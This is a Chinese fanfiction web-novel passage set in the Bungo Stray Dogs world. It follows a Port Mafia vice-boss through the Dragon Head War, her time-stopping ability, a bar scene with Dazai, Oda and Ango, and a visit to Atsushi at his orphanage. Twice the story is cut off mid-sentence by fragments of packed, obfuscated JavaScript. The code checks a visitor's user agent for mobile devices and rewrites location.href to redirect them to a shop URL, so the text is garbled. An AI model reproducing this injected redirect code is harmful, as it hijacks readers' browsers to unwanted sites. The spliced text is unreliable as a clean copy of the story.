“是一名来自东部的异能者,与神代将人达成了协议。”广津柳浪顿了顿,“太宰先生已经带人将对方抓回来了,现在人在拷问班。” “这个样子啊,太宰那家伙的审讯能力还是很可怕的......”我往后一靠,将捏扁的矿泉水瓶扔到垃圾桶里,“中也怎么样?” “中也先生......”广津柳浪回答道,“快气死了。” “......所以说他和温良根本扯不上一点关系啊!”我挥了挥手,“你先下去休息吧,老爷子。” “是。”广津柳浪微微欠身,转身离开。 我坐在凳子上,开始整理情报。理着理着,一个想法突然出现在我的脑海里。 这不是刺杀,是测试。 测试中也的极限,测试他的能力,以及他的弱点。 神代将人在收集数据。为了什么? 为了启动那台计算机,抓住这把“钥匙”。 我立刻去找了森鸥外,把我的分析告诉他。我的老父亲听完后,沉默了很久,然后头痛地说道,“你说得对。但我们已经无法阻止他们收集数据了。唯一能做的,是确保他们即使有数据,也无法得手。” “怎么确保?” 对方看了我一眼。那眼神我太熟悉了,那是他在计算风险的眼神。 在我十二岁生日的前夕,他也露出了这种眼神。 “让中也留在港-黑大楼里,”他说,“非必要的情况下,不外出执行任务。同时,加快寻找新据点的进度。只要摧毁计算机,他们的计划就失败了。” 我点头。这是合理的方案。 但我们都忘了一件事。 中也不会乖乖待在总部。他不是那种会躲避战斗的人。 战争的第四十五天。 我奉命潜入敌占区,侦察【ReRe】组织可能的指挥部位置。拷问班的情报显示他们在东部山区还有一个秘密基地,很可能就是荒霸吐计算机转移后的所在地。 撤退的途中,我遇到了一个人。 我是在一片被战火摧毁的居民区里遇见对方的。当时天色已暗,废墟中弥漫着焦糊的气味。这样的现象我已经见怪不怪了,所以没有多想,正准备穿过这里时,突然感觉到一股奇异的能量波动。 是异能。 我停下脚步,隐藏在一堵断墙后面,小心地探头。 废墟中央,站着一个男人。 他穿着一身纯白的西装,在这个地方显得格格不入。他的头发是白色的,眉毛与睫毛似乎都是,在月光下泛着淡淡的光晕。他站在那里,仰着头,好像在欣赏着什么。 我顺着他的目光看去,啥都没看到,只有燃烧过的废墟和漆黑的夜空。 我觉得这人有病。 毕竟此时正处于战争阶段,什么奇怪的人都有。 然后我发现了不对劲。那些废墟中,隐隐约约有一些白色的雾气在流动。雾气很淡,如果不是刻意观察,根本不会注意到。它们从废墟的缝隙中渗出,缓缓向那个男人聚拢。 异能力?还是某种奇异现象? 男人低下头,那些雾气围着他转来转去,然后渐渐消散。他转过身,我看到了他的脸。年轻,英俊,但眼睛里的光芒让我后背发凉。 看起来更有病了!我说的是在任何方面! 他迈步离开,走向废墟深处。我没有跟上去,因为直觉告诉我那很危险。 但在他转身的那一刻,我看到了他胸前的领针。 后来我才知道,那是涩泽龙彦的标志。而涩泽龙彦,是那个传说中的“收藏家”,专门收集异能者的异能力结晶。 但当时我并没有在意。一个奇怪的异能者,在战争期间出现在废墟里,这并不稀奇。横滨现在到处都是这样的人。 我真正开始在意他,是因为另一个人。 战争的第五十天。 战况已经白热化。双方都损失惨重,但谁都不肯退让。港口黑-手-党的地盘缩水了三分之一,但神代将人也没有取得决定性的胜利,反而暴露了荒霸吐计算机的准确位置。 某次任务,我又来到了东部,然后听见了两个似乎是涩泽龙彦部下的对话。 “……听说涩泽先生最近在找一个人。” “什么人?” “一个少年,好像叫什么……中岛?中岛敦?” “那是什么人?异能者吗?” “不知道。但涩泽先生似乎很重视他,派了不少人去查。” 我停下脚步,大为震撼。 ......?????? 如果我没听错的话,他们刚刚说了一个很熟悉的名字对吧? 中岛敦?中岛敦! 难不成这家伙只是和我的好大儿同名哈哈哈......完全欺骗不了自己啊!这明明就是我的好大儿本儿啊!人家在孤儿院待得好好的,涩泽龙彦那个神经病找他干啥? 我一时慌乱,发出的异响让对面两个人发现了我。情急之下我将他们灭了口,然后躲在断墙后面开始叹气。 ......失策了,我应该拷问一下这俩家伙的!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299894|196262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我回去将这个人的存在告诉了森鸥外。 森鸥外没有太在意这个人的存在,因为他对港口黑-手-党没有威胁。 唯一感受到威胁的人,只有我而已。 我识趣地闭上了嘴,打算第二天回一趟孤儿院。 然后那天晚上,一切都爆发了。 战争的第五十三天。 那天晚上,我正在偷溜回孤儿院的路上,突然接到了老爷子的紧急通讯。 “副首领,敌方启动了什么东西!在东部山区!巨大的能量反应——” 通讯中断了。 我停下脚步,向东方望去。地平线上,一道幽蓝的光柱冲天而起,刺破了夜空。即使在几十公里外,我也能感受到那股能量的压迫感。 荒霸吐计算机。 他们启动了它。 后来的事情,我是从目击者的叙述中拼凑出来的。 因为我接下来就被人埋伏了。 没错,就在回孤儿院的路上,埋伏我的人似乎知道我的目的地就是那里。 当然,这是两件事。我们先从第一件事开始说起,就是关于荒霸吐计算机的启动和【双黑】的横空出世。 那天晚上,据目击者回忆,主角之一中原中也在前线作战,当蓝色光柱亮起的时候,他像被什么东西击中一样,突然停住了。 然后,他开启了【污浊】。 重力开始失控。以他为中心,方圆一公里内的所有建筑开始崩塌,地面碎裂,空气扭曲。黑色的能量从他的身体里涌出,像无数条触手吞噬着周围的一切。 敌人在逃,但逃不掉。重力把他们压成肉泥,把武器撕成碎片。中也变成了一个行走的灾难,他的眼睛里再次失去了意识,只有纯粹的破坏本能。 和我们三个处理【魔兽Guivre】的状况截然不同,中也这次时被迫打开的【污浊】,破坏力翻倍。 “那是……什么?”有人在通讯频道里颤抖着问。 没有人回答。因为除了我们几个,还没有人知道答案。 作为主角之二的太宰治没联系上我,等他赶到的时候,中也已经摧毁了三个街区。 我不知道这种状况下太宰是怎么做到的。那家伙的【人间失格】可以无效化一切异能,但要靠近暴走状态的中也,几乎是不可能的任务。 但他做到了。 有人说,看到太宰冲进那片毁灭的中心,抓住了中也的手臂。 然后,黑色消散了。 中也倒在地上,浑身是血,但活着。 太宰站在他身边,浑身也湿透了。不是血,是汗。他的表情是前所未有的疲惫,但嘴角挂着欠揍的笑。 “搞定。我回去一定要向副首领报销,就算是对她关键时刻联系不上的惩罚。” 那一夜之后,所有人都知道了两个名字。 中原中也,太宰治。 港口黑-手-党的【双黑】。 **** 至于我这个倒霉蛋,是在中也暴走的同时,遭遇了自己的危机。 埋伏我的人戴着面具,在我停下脚步,看向光柱的那瞬间。 我觉得自己的运气在遇见森鸥外的那一刻已经用尽了。因为这显然不是普通的埋伏啊! 对方显然是专门针对我的。 三个异能者,能力分别是【空间封锁】、【异能压制】和【精神干扰】。我还是头一次见到这么强的异能者,还是三个! 战中我还问对方是否愿意加入港口黑-手-党,但回应我的是他们配合默契的攻击,在我反应过来时,已经被包围了。 我发动异能,想脱离战场。 但空间封锁让我的移动范围被限制在半径十米内,异能压制削弱了我的能力强度,精神干扰让我无法集中注意力。 梦野久作那家伙说的打败怪物的方法根本没用啊! 五秒的暂停,我一米都没移动。 然后时间恢复,对方的攻击接踵而至。 我躲过了第一波、第二波、第三波......但第四波我没躲过去。我被击中了左肩,闷哼一声,摔倒在地。 他们围了上来。 “港口黑-手-党的千金,”为首的异能者冷笑,“听说你的能力是控制时间。很厉害,但可惜,我们已经研究你很久了。” “冒昧的问一下,你们是听谁说的?” 哪个!哪个找死的暴露了我的异能?难道是组织内出现了叛徒? “这你别管。”对方冷哼一声,然后摘下了面具。 我震惊了。 讲真,在这几天里我都不知道震惊多少次了。而这次让我震惊的原因是对面为首的那个异能者,不是别人,正是神代将人。 “你......你怎么会在这里?”我语气颤抖地发问。 “从始至终,我的目标都不是中原中也,而是你。”神代将人居高临下地看着我,开始了反派的标准流程:讲述自己的计划。 “我从【暗杀王事件】就关注到你了......你和魏尔伦的那场战斗真是精彩啊,当然,还有你那能让人起死回生的能力。” 我一阵眩晕,强撑着一口气问道,“你想让我复活你女儿?” 对方像是听见了什么好笑的事情,语气里充满了嘲讽,“我从来都没有想让她复活,这一切的一切只是为了转移港口黑-手-党的注意力而已。我更想要的是你的能力......既然悲痛状态下能让人起死回生,那么无数次试验后,会不会让人......长生不老呢?” 我明白了他的意思。 复活自己的女儿是假的,对女儿的思念是假的,就连父亲这个身份,也是假的。 我又想起了森鸥外,想起了在幻境中对方说的那句“我没有你这个女儿。” 我似乎看见了属于自己的怪物。 在他们伸手抓我的那一刻,我闭上眼睛,松开了对异能的全部压制。 异能力——【时纪残章】 我也想试试,这次事件过后,我的异能还会分裂出什么分支。 32.关于我的代号 我不知道发生了什么。 我只知道,当我睁开眼睛的时候,周围的一切都变了。 那三个异能者站在原地,但他们的动作完全停滞,像雕塑一样。或者说不是完全停滞,而是在以极慢极慢的速度移动,几乎无法察觉。一秒、三秒、五秒......他们的手指连一毫米都无法移动。 我看向更远处。战场上的炮火凝固了,硝烟定格在空中,连飞行的子弹也不再移动。似乎整个世界的时间都变得无比缓慢。 而我,是目前唯一一个还能正常行动的存在。 我挣扎着站起来,捂住剧痛的头。周围的一切都在旋转,视野里出现了重影。我意识到我的异能失控了。我的异能制造出一个时间减速场,但这个场的范围有多大、能持续多久,我完全不知道。 我下意识选择了逃避。 我跌跌撞撞地离开战场,疯狂呼喊着我妈的名字。我穿过凝固的火焰和静止的人群,不知道自己走了多久。时间在这片战场上已经没有意义了。我的每一步都像踩在棉花上,连脑袋疼得快要炸开。 终于,我走出了那个范围。 时间恢复了正常。身后的战场重新响起爆-炸声和喊杀声,但我已经听不太清了。我眼前一黑,栽倒在地。 失去意识之前,我隐约听见了我妈的声音: “清醒一点——小枝!再继续下去的话——” 我醒来的时候,已经是三天后了。 我躺在医院的病床上,浑身缠满绷带。旁边守着的织田作告诉我,我昏迷了整整三天,异能波动一度让整个医院的时间都变得混乱。还是太宰治赶过来好几次,用他的能力帮我稳定了状态。 “太宰?”我虚弱地说道,“真是麻烦他了啊......哟,中也你也在啊。” 赭发少年拨开帘子,躺在我对面的病床上,上身缠着绷带。 我们两个看起来都有些狼狈。 “我们的人找到你的时候,你已经连呼吸都要没有了。”中原中也坐起身,严肃地问道,“你遭遇了什么?” “神代将人呢?”我反问。 “死了。”中也回答,“就在离你不远处的废墟里,有三个人。至于另外两个,面具深深烙印在他们的脸上,无法判断身份。” 我沉默了。 神代将人。这个费尽心思,巧妙利用我和森鸥外的父女感情,从而编造出一个巨大的谎言......如此费尽心思,只是为了我的能力吗? 他和那两个家伙是什么关系?涩泽龙彦是什么关系?和院长先生又是什么关系?为什么面具焊在脸上无法摘下?为什么他知道我的能力?为什么那么恰巧,偏偏在我即将达到孤儿院的时候出现了呢? 还有我的好大儿中岛敦......让他生活在孤儿院里,真的是一个正确的选择吗?可是除了孤儿院,他还能去哪呢?黑-手-党吗? 疑点太多,我感觉冥冥之中,有什么东西正在幕后观察着这一切。 或许我早就中了神代将人的幻境,对方不知道发生了什么,从始至终都是我在自取灭亡;又或许我其实离孤儿院还有很远很远,所谓的“真相”也只是我在幻境下编造出来的假象...... 过了许久,我才找回自己的声音。 “他们差点就把我杀掉了,死了也好。” 中原中也又说了些什么,但我没听进去。我的脑海里只有一个画面——那个凝固的区域世界,那些静止的硝烟和子弹,还有我自己,像一个不属于任何时间的幽灵,行走其中。 为什么我会这么害怕?明明已经用过很多次了。 我突然想起了那些分支。在时间的法则面前,我什么都不是。我似乎只是一个能暂时掌握它的凡人,一旦失去控制,就会被吞噬。 我躺了下去,用被子盖上脸。 战争的第八十八天。 一切都恢复了平静。 就像战争突然爆发一样,此刻它也突然结束了。【ReRe】在最后一周内全面崩溃:首领失踪,主要干部战死,剩余的成员四散逃亡。港口Mafia取得了压倒性的胜利,一举确立了在横滨的霸主地位。但同时也付出了惨痛的代价。 地盘扩大了一倍,但人手减少了三分之一。 干部大佐战死,在那场计算机旁边,被蓝色光柱吞噬,连尸体都没有找到。 我还没有把那张度假申请书给他,告诉他森鸥外已经签好字了,哪怕日后再也不回来也没关系。 无数的死亡,无数的废墟,无数的孤儿。 我站在总部的窗前,俯瞰着伤痕累累的横滨。远处的海面在夕阳下泛着金光,仿佛什么都没有发生过。 这场战争,在横滨的历史上,被称为——龙头战争。 **** 距离龙头战争的硝烟散去已经过去两周了。 我推开酒吧的门时,熟悉的铃铛声响起。昏黄的灯光下,三个人坐在吧台前,背影看起来意外地和谐。 织田作之助最先察觉到我,微微侧过头:“首领?” “是副首领。”我纠正他,径直走向吧台,在他身旁的高脚凳上坐下,“说过多少次了,在工作之外的场合,叫我名字就行。” 织田作若有所思地点点头,但以我对他的了解,估计下次见面时,他还是会叫“副首领”。 “哎呀呀,这不是港口黑-手-党的千金小姐吗?”另一旁的太宰治转过头来,脸上挂着那种让我想揍他一拳的笑容,“怎么有空来这种地方?” 我还没来得及回话,坐在太宰身侧的男人推了推眼镜,微微欠身,“副首领。” 坂口安吾。三个月前被中也招进港口黑-手-党的男人,在龙头战争中表现出了有些的情报收集能力。我是在前几天和对方熟悉起来的,他当时在统计龙头战争的死亡人数。这是一项有些枯燥的工作,坂口安吾提出申请的时候,我小小的震惊了一下,因为这不是一项任务,而是我的个人意愿,没想到有人在和我做一样的事。 但坂口安吾不仅完成了,还额外整理了一份名单,上面是所有死者家属的住址,以及一份关于如何向这些家庭发放慰问金的详细计划书。 我当时拿着那份文件看了很久,然后对森鸥外说,“这人挺有意思的。” 老父亲当时一脸莫名,“哪里有意思?” 哪里有意思呢?大概是在这场疯狂的战争结束后,在所有人都只关心地盘和利益的时候,居然还有人惦记着那些连名字都不会被记住的死者家属。或许那些微薄的慰问金改变不了什么,但这个举动本身让我觉得有趣。 “安吾也在啊。”我点点头,转向老板,“麻烦给我一杯——” “副首领。”织田作的声音适时响起,“您还没到饮酒的年龄。” 我眨了眨眼,看向他:“所以呢?” 织田作沉默了两秒,似乎在组织语言,最后只是简单地重复:“还没到年龄。” 我指了指他另一侧的太宰,“那他为什么能喝?” “太宰不一样。” “哪里不一样?” 织田作又沉默了。太宰在旁边笑得直拍大腿,连安吾的嘴角都微微上扬。 “织田作,”我抱臂,颇为不满地说道,“你这可是偏心。” 老板已经调好了一杯酒推到我面前,琥珀色的液体在灯光下闪闪发光。他看了看织田作,又看了看我,适时开了个玩笑,“在我这里,能付钱的就是成年人。” 我把钱推过去,端起酒杯抿了一小口。辛辣的液体滑过喉咙,带着微微的灼烧感。 “所以你们刚才在聊什么?” “聊你。”太宰眨眨眼,“聊我们的摆渡人小姐。” 我差点被酒呛到。 “什么摆渡人?” “你不知道吗?”安吾推了推眼镜,镜片反射着酒吧的灯光,“这是你在龙头战争里获得的代号。和【双黑】一起,你的名字也在各个势力之间传开了。” 我愣住了。 摆渡人。摆渡人? “等等,”我放下酒杯,难以置信地看着他们三个,“谁起的?这名字也太——” “太什么?”太宰笑眯眯地问。 “太土了!太中二了!”我感觉自己的太阳穴在突突发跳,“摆渡人是什么鬼?我渡谁了?渡河吗?” “渡时间。”织田作难得插了一句嘴,语气认真,“那天你让整个战区的时间都停滞了。我听说有人因此存活了下来。你渡了他们。” 我一时语塞。 确实,那天我的能力确实失控了。因为神代将人那个神经病......但我也受了很重的伤。 至于织田作说的什么渡人,我敢本没有这个意思。我连自己都渡不了,差点溺死在时间的长河里。 “我不要。”我斩钉截铁地说,“这名字太难听了,我要换一个。” “已经传开了,改不了。”太宰幸灾乐祸地晃着酒杯,“以后你将以【摆渡人】的身份,和【双黑】永远绑定了。中也那家伙知道后还专门来找我,问能不能把他的代号也换掉。” “然后呢?” “然后我说可以啊,只要你能想到比【羊之王】更酷的。”太宰摊手,“他想了两天,放弃了。” 我忍不住笑了。想象中也那副憋屈的样子,还蛮有意思的。 “不过,”安吾突然开口,“这个代号其实很贴切的。在战场上,你的能力确实像是在生死之间摆渡。把即将踏入死亡的人,渡回生者的世界。” 我沉默地看着杯中摇晃的酒液。 ——完全是在放屁。 这是我的第一想法。 但我没有这么说。 “我没有那么做。”我低声说,“我只是本 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我看着他那副波澜不惊的样子,震惊地问道:“你就这么接受了?” “嗯。”织田作想了想,“多涨一点,也许能多买几本书。” “......”我竟无言以对。 太治在旁边笑得快要从椅子上滑下去:“织田作,你这个理由太棒了,我要记下来。” “说起来,”我突然想起什么,转向织田作,“我找你是有正事的。关于龙头战争善后工作的分配,你负责的那个区域——” “已经完成了。”织田作说,“昨天就提交了报告。” 我愣了一下:“这么快?” “嗯。因为想早点完成,好来看安吾。” 安吾的嘴角抽了抽:“......所以我是你完成工作的奖励吗?” “不是奖励。”织田作认真地想了想,“是朋友。” 安吾陷入了沉默。他的表情在昏黄的灯光下有些不真切,但镜片似乎起了一层薄雾。 “织田作,”他声音有些沙哑,“你这个人......” “怎么了?” “没什么。”安吾端起酒杯喝了一大口,“你继续保持这样就好。” 太宰难得安静地下来,嘴角挂着真实的微笑。然后他转向我,举起酒杯:“来,为了我们新晋的【摆渡人】小姐,干杯!” “我说了不要叫这个——” “干杯。”织田作举起杯。 “干杯。”安吾也举了起来。 我看着他们三个人,叹了口气,最终还是端起酒杯。 酒杯相撞,发出清脆的声响。 “其实,”我放下杯子,“你们三个凑在一起,还真挺无赖派的。” “无赖派?”太宰挑眉。 “嗯,整天混在一起喝酒聊天的三个无赖。”我笑着说,“太宰是主犯,织田作是从犯,安吾是被拉下水的共犯。” “那你呢?”安吾指向我这边。 “是给我们买单的。”太宰立刻接话。 “凭什么!” “因为你是副首领啊,工资最高。” 我气得想拿酒杯砸他,但被织田作拦住了。 “副首领,”他说,“未成年人不能砸人。” “那他呢?” “太宰不一样。” “又来了!到底哪里不一样!” 太宰笑得倒在安吾身上,安吾一脸嫌弃地推开他。织田作依然那副波澜不惊的表情,但眼神格外的认真。 酒吧内昏黄的灯光很温暖,夜色已深。或许龙头战争的硝烟还没有完全散去,或许这座城市里还有无数伤口等待愈合,无数白骨等待归宿。 但至少这一刻,在这间小小的酒吧里,每个人都很轻松。 我想,我大概能理解为什么太宰总喜欢往这里跑了。 “对了,”我突然想起什么,“关于那个【摆渡人】的代号——” “别想了,改不掉的。”三个人异口同声。 “......你们能不能不要这么默契。” “因为我们是无赖派啊。”太宰眨眨眼,“人已经满了,副首领你要想加入的话......得承包我们一年的酒水费。” “TMD这个混蛋!你休想!” “啊!天色不早了,我们要回家了。” “......回来!你们这两个家伙!没付钱吧!” 我最终还是付了太宰的酒水钱,当然,还有另两位的。 无赖派就无赖派吧。 我这么想着。 反正能和这几个人一起喝酒,当个无赖也挺好的。 33.关于我的孤儿院之旅 无赖派真的很无赖。 太宰这个家伙自然不用多说,倒是坂口安吾的恶趣味小小地让我惊了一下,至于老实人织田作之助......他昨晚想买单来着,被我拒绝了。 “毕竟你还要养孩子。”我一边掏钱一边问道,“找到新住所了吗?” “嗯,找到了。”织田作想了想,语气平平,“楼下的咖喱饭很好吃,我下次请副首领吃饭。” 别人说这句话可能带有巴结的意味,但织田作就不一样了。他说请吃饭,那就真的是字面意义上的请吃饭。 “咖喱饭啊......”我其实有那么一点点的抗拒,倒不是讨厌咖喱,只是觉得它的卖相不是很好。但看见织田作认真的表情,我最后还是答应了下来。 我们并排走出酒吧。 “他们一直想见见你。”和织田作突然开口。 我疑惑转头,“他们?” “是孩子们。”织田作说,脚步没有停,“我知道最近的家庭补贴是副首领提出来的,我把这件事告诉了孩子们,结果辛介一下子就猜到了。‘是那个白头发的大姐姐吧。’,这是原话。” 我愣了一下。 家庭补贴这件事,是龙头战争刚开始时我提出的。港口黑-手-党的底层成员很多都有家室,有些人甚至住在贫民窟。我觉得这样下去不行。不是出于什么高尚的理由,单纯觉得士气低落会影响工作效率。所以提议设立了一笔补贴,专门给有孩子的家庭。 “哎哟。”我有些受宠若惊,“看来我是受长辈和小辈十分欢迎的类型啊。” 织田作点点头,“是啊。” “这里面也包括你么,织田作?” 他偏过头,“当然。你和太宰一样,都还只是个孩子啊。” “那我下次要喝血腥玛丽。” 织田作眨了眨眼,似乎在思考这两件事之间的逻辑关系。半响,他一本正经地拒绝道,“不让未成年喝酒和觉得你是孩子之间,不矛盾。” 我被噎得说不出话,决定换一个话题。 “对了,织田作你很会照顾孩子吗?” 对方愣了一下,脚步慢了半拍,然后认真地思考起来。 “......是这样吗?”他迟疑着开口,语气里带着一丝不确定,“我也不知道自己算不算会照顾。我只是陪着他们而已。” 陪着他们而已。 听起来似乎是一件再简单不过的事。 “副首领?”织田作的声音把我拉回来,“怎么了?” 我回过神,发现我们已经走到了路口。左边是回港口黑-手-党宿舍的路,右边是织田作的新家方向。 “没什么。”我摇摇头,挤出一个笑,“我只是觉得你说得很有道理。” 红发青年停下脚步,似乎在纠结怎么开口。过了一会,他拍拍我的脑袋,认真说道,“组织内事务很多,所以森先生很忙。” 我眨眨眼,“好的。” 所以对方以为我在为森鸥外伤心吗? 呸! 我只是想到了在孤儿院的中岛敦而已! 我抽抽嘴角,还是向对方的关心道了谢。 “不用客气。”织田作冲我摆了摆手,转身往右边走去。走了几步,他又回过头:“咖喱饭,下周二的晚上?” “没问题!” **** 第二天是个大阴天。 我站在横滨郊外这所孤儿院门口时,灰色的云层压得很低,空气里带着潮湿的味道。铁门有些生锈,门牌上的字迹斑驳,似乎和我记忆中的没什么两样。 我没穿港口黑-手-党的制服,只套了一件普通的黑色风衣,头发随意扎在脑后。 来这种地方,还是低调些好。 我推开铁门,走进孤儿院。 院子里有几个孩子在玩耍,看到我这个陌生人,都停下来好奇地张望。 我冲他们笑了笑,继续往里走。 然后我看到了中岛敦。 他和几个孩子蹲在角落的水龙头旁边,正在洗碗。 我停下脚步。 有点奇怪。 我倒不是说洗碗的这个行为,毕竟孤儿院的孩子需要劳动。也不是在说这里的氛围,因为我每个月都会寄一笔生活费,很显然,院长先生把这笔钱用得很好。 让我感觉奇怪的是中岛敦本人,他太瘦了。 比三个月前我来的时候还要瘦。 就在这时,对方转过头来,像是察觉到什么。金色的瞳孔闪过,又迅速消失。他看到我,愣了一下,眼睛发亮。 我摆摆手,“敦!” “嗯。”白发少年点点头,声音很轻,“您来了。” “最近怎么样?”我问。 “挺好的。”他说,“我在这里有很多小伙伴,院长先生每天都会给我们讲故事,还会做茶泡饭给我们吃。” “噫——”我打了个冷颤,“白开水泡大米饭?” “当然不是!”对方义正言辞地说道,“是那种很好喝的高汤,院长先生对我们很上心的!” 是要上心啊,不上的话我会打死他的。 “既然这样,你想不想和我出去?” 对方看起来有点小期待,“去哪里?” “当然是——请你看电影!” 我们看的是一部关于忠犬的温馨电影,情节很感人,尤其是对小孩子来说。所以等我们出来的时候,中岛敦已经泪眼汪汪了。 “对不起。”他拉着我的袖子,小声说道,“我这样是不是很丢人?” 我有些莫名,“为什么?” “因为院长先生说只有没用的家伙才会哭。” “......你听他放屁!”我立刻蹲下身,抓着对方的肩膀,语重心长地说道,“敦啊,院长那家伙其实很坏的,你一定要小心小心再小心知道吗?千万不要相信他说的话,被欺负了也要第一时间反抗,可以吗?” 对方懵懂地点了点头,然后肚子叫了一声。 我看着他害羞的样子,笑着拍拍他的脑袋,“走吧,去吃晚饭。” 我们找了一家小店。 他吃得很快。 我看着他吃,没有开口。 直到他把碗里最后一粒米扒干净,我才问:“敦。” 他抬起头。 “最近有没有发生什么奇怪的事?” 他愣了一下,然后点点头。 “什么感觉?” 他犹豫着,像是在组织语言:“我梦见了一个男人,他好像很不安。最近一段时间,我经常有种要被什么东西抽走的感觉。” 我摆正神色,“具体说说。” “大概两周前,”他说,“有一天,我正在洗衣服的时候,这种感觉特别强烈。好像有什么东西在很远的地方伸过来,想把我体内的什么东西勾走。那种感觉很难受,像有人在撕扯我的灵魂。” 两周前。 龙头战争。 “然后呢?”我努力让声音听起来平静。 “然后......”他皱起眉,像是在回忆,“然后那种感觉突然就断了。像是出现了什么东西。我说不清,似乎有一堵墙突然挡在了前面,把那根线切断了。” “这个样子啊。”我点点头,认真叫了声对方的名字,“中岛敦。” “怎,怎么了?” “你知道我是谁吗?” “呃,经常来看我的好心姐姐?” “不。”我摆摆食指,故作神秘,“既然如此,中岛敦,是时候把一切都告诉你了。你要做好准备,韬光养晦,好好保护自己,明白了吗?” **** 送他回孤儿院的时候,我们在门口看见了院长先生,对方似乎在这里等了一阵子了。 “哟,院长,好久不见啊。”我将手放在敦的肩膀上,一脸挑衅。 男人淡淡地瞥了我一眼,低头对中岛敦说道,“现在是听睡前故事的时间。” 敦回头看了我一眼。 “进去吧。”我说。 他点点头,走了进去。院长先生象征性地跟我道别,然后迅速关上门。 我在门口站了一会儿,转身离开。 脑子里乱糟糟的。根据敦的叙述,那个出现在梦里的男人就是涩泽龙彦。他想要什么?敦的异能? 我不知道对方是怎么出现在敦的梦里的,但我知道未达目的之前,那个神经病肯定不会善罢甘休。 得想想办法啊......要不去求求森鸥外?跟他说“这可是你的亲外孙啊你难道忍心看着对方流浪在外吗......” 噫。森鸥外不会打死我吧? 就在这时,我听见有人在叫我的名字。 “小枝?” 我转过头。 几步之外站着一个穿着制服的年轻少女。 短发,大眼睛,英气勃勃。那张脸熟悉又陌生。 “......小林?”我不确定地开口。 她笑了,露出两颗小虎牙,“真的是你!我还以为认错人了!” 小林阳葵。 我在孤儿院的玩伴。 我们几乎同时开口,“你怎么在这里?” 她笑了起来:“我刚问完你!我在这边执行公务,想着回来看看,结果就碰到你了!太巧了!” 公务? 我心里动了动,但脸上没表现出来,“你穿这身衣服是?” 她低头看了看自己的制服,有些不好意思,“警校生。现在在实习期。” 警察,黑-手-党的天敌。 我下意识地多看了她几眼。她确实是穿着警服,肩章显示是实习生,整个人看起来干练又精神。 “你居然去当警察了?”我震惊地说道,“小时候你可是带着我偷食堂馒头的。” “喂喂,那是看你饿得受不了才去的!”她脸一红,语速也快起来,“而且后来我不是被抓住了吗,一个人扛了所有责任,害我被罚站一下午。” “记得。我还偷偷给你送水来着。” “对对对,你从窗户缝里塞进来的,还用衣服包着怕被发现。”她眼睛亮亮的,“你怎么还记得!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“实习还有工资?” “是吧!我就知道你也会这么想!我的前辈还说我没吃过好的......我跟你说那几个前辈真的很讨厌啊......” 她又开始讲警校的事,讲今天她被这个前辈骗了钱最后两人都被记了处分,讲明天她找那个前辈进行切磋结果在医务室里待了三天......小林阳葵似乎有好多话要对我说。 可惜的是我却没有,或者说,我不能说。 我只能安静地笑着,充当一个观众的角色。 “啊,糟了!”她突然想起什么,手忙脚乱地开始收拾东西,“我得走了!晚上还有任务简报!” “任务?” “嗯,实习任务。”她站起来,冲我挥挥手,“今天真开心!改天再约!你电话多少?” 我们交换了联系方式,她匆匆忙忙跑了出去。跑到门口又回头,大声说,“照顾好自己!下次见面不许比我瘦!” 我笑着点头,目送她的背影消失在街角。 咖啡店里重新安静下来。 我端起已经凉透的咖啡,慢慢喝了一口。 “妈,你在不?” “你想问我什么?” 我有些不确定,语气迟疑,“小林阳葵是不是有异能?” 沉默了几秒,脑海里响起回答声。 “有。” 我的手顿了一下。 “很微弱。”我妈继续说道,语气温柔,“藏得很深。如果不是刚才她转身的时候情绪波动了一下,我也察觉不到。” 我放下杯子。 小林阳葵有异能。 她自己知道吗? 如果她知道——那这次的偶遇就别有目的,对方口中那个派来监视的人很可能就是她自己。 但此时又出现了新的问题,那就是为什么要和童年玩伴说这些? 如果她不知道——那她背后的人是谁?还是说她的异能很特殊,可以修改自己或他人的记忆或认知? 我站起身,把咖啡钱放在桌上,走出咖啡店。 夜风吹起我的风衣下摆。远处,港口黑-手-党的大楼灯火通明。再远一些就是横滨的贫民窟,是龙头战争中留下的新废墟。 小林阳葵,我童年的朋友。 她突然出现在这里,随口提到【双黑】和【摆渡人】,提到上面在关注横滨,或者说,在关注龙头战争中新起的势力——港口黑-手-党。 并且她有异能。 如果她是卧底的话,那派她来的人,一定知道我和她的关系。知道这段过去,知道我们两个对对方来说都不一样。 不出意外的话,我们要和政府部门打交道了。 我一边想着一边掏出手机,给森鸥外发了条消息。 【老登,睡了没——已撤回。】 【父亲,晚上吃茶泡饭吧!】 【?】 34.关于我的可怜老父亲 森鸥外还没有离开港-黑大楼。 我把打包盒放在桌子上,打开盖子,茶泡饭的香气飘了出来。 我的老父亲正坐在沙发上看文件,听见动静抬起头来,眼睛弯了弯:“哦,这是?” “茶泡饭,城区一家老店的,人很多,所以给你带一份。”我双手叉腰,开心地说道,“我不是给你发了消息嘛,你还回了我个问号呢。” “我的问号代表沉默。”他把文件放到一边,起身走过来,在我对面坐下,解释道,“爱丽丝晚上闹着要吃蛋糕,我哄了她半天。” “又没代表拒绝。”我将一次性餐具递过去,眯起眼睛,“所以你给她买了?” “没办法,小孩子嘛。”森鸥外接过筷子,夹起一块渍萝卜放进嘴里,表情满足得很,“这家店的渍物确实不错。” 我没戳穿对方的小心思,托着腮看他吃,随口问道,“中午吃的什么?” “没吃。开会开到两点,后来广津又送来一堆文件。” “哇哦。”我皱起眉,“这样胃会出问题的。” 森鸥外毫不在意地摆摆手,一副这都不是事儿的表情,低头扒了一口饭。我在旁边有一搭没一搭地和他聊天,聊今天天气不错,适合野餐;或者聊楼下那家花店新进了什么品种,聊爱丽丝最近在学什么曲子。 一些平平无奇的话题。 然后他呛住了。 